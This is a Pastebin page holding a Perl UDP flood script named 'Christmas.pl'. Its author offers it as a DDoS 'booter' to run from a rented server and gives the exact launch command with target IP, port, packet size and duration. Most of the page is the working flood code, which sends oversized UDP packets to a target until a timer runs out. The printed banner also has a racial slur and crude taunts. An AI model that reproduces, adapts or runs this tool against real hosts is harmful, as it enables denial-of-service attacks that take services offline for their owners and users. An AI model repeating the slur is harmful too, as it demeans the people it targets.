Advertisement
TP2K1

DDos Christmas.pl [Perl]

Jun 23rd, 2015
893
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.15 KB | None | 0 0
  1. Decided to make up a quick DDoS script meant to be ran on a VPS for those who know how to set up VPS booters/Putty booters..
  2. -----------------------------------------------------------------------------------------------------------------------------
  3. A present to you peoples.
  4. ------------------------
  5. Screenie of it: http://prntscr.com/5jxryv
  6. -----------------------------------------
  7. The boot command: perl Christmas.pl 1.1.1.1 80 65500 6000
  8. -----------------------------------------
  9. Save it as "Christmas.pl" and upload it to your VPS and use the command above.
  10. -----------------------------------------
  11. #!/usr/bin/perl
  12.  
  13. ##
  14. # Rated <---
  15. ##
  16.  
  17. use Socket;
  18. use strict;
  19.  
  20. my ($ip,$port,$size,$time) = @ARGV;
  21.  
  22. my ($iaddr,$endtime,$psize,$pport);
  23.  
  24. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  25. $endtime = time() + ($time ? $time : 100);
  26. socket(flood, PF_INET, SOCK_DGRAM, 17);
  27.  
  28. print <<EOTEXT;
  29.  
  30. _______
  31. | | |.-----..----..----..--.--.
  32. | || -__|| _|| _|| | |
  33. |__|_|__||_____||__| |__| |___ |
  34. _______ __ |_____|
  35. | ___|.--.--..----.| |--.|__|.-----..-----.
  36. | ___|| | || __|| < | || || _ |
  37. |______ ______||____|___|__||__|___|__||___ |
  38. | || |--..----.|__|.-----.| |_ .--------..---.-..-----.
  39. | ---|| || _|| ||__ --|| _|| || _ ||__ --|
  40. |______||__|__||__| |__||_____||____||__|__|__||___._||_____|
  41.  
  42. Ho, Ho, Ho, Nigga Get Hit Offline - Have Some Presents
  43. Coded by:Rat3d
  44. EOTEXT
  45.  
  46. print "Sending Presents: $ip " . ($port ? $port : "random") . "
  47. Getting Hit" .
  48. ($size ? "$size-GBS" : "Error..") . "
  49. ~Santa~ ~Get In My Fucking Sleigh~ " .
  50. ($time ? " for $time seconds" : "") . "\n";
  51. print "Break with Ctrl-C\n" unless $time;
  52.  
  53. for (;time() <= $endtime;) {
  54. $psize = $size ? $size : int(rand(1500000-64)+64) ;
  55. $pport = $port ? $port : int(rand(1500000))+1;
  56.  
  57. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  58. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement